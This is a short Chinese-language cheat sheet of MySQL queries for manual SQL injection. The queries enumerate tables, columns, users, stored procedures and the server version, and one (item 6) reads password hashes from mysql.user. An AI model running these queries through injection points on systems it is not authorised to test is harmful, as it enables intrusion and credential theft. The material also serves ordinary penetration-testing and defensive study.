手工sql注入常用sql语句

以下是常用的手工SQL注入语句：

1. 判断版本号

SELECT @@VERSION

2. 列出当前数据库中的所有表

SELECT table_name FROM information_schema.tables WHERE table_schema=database()

3. 列出指定表中的所有列

SELECT column_name FROM information_schema.columns WHERE table_name='table_name'

4. 获取当前用户

SELECT user()

5. 获取当前数据库名

SELECT database()

6. 获取当前登录用户的密码哈希值

SELECT password FROM mysql.user WHERE user='current_user'

7. 获取当前数据库版本

SELECT @@version

8. 查询指定表中的前N条记录

SELECT * FROM table_name LIMIT N

9. 获取当前数据库的所有用户

SELECT DISTINCT User FROM mysql.user

10. 列出当前数据库中所有存储过程

SELECT name FROM mysql.proc WHERE db = 'current_database'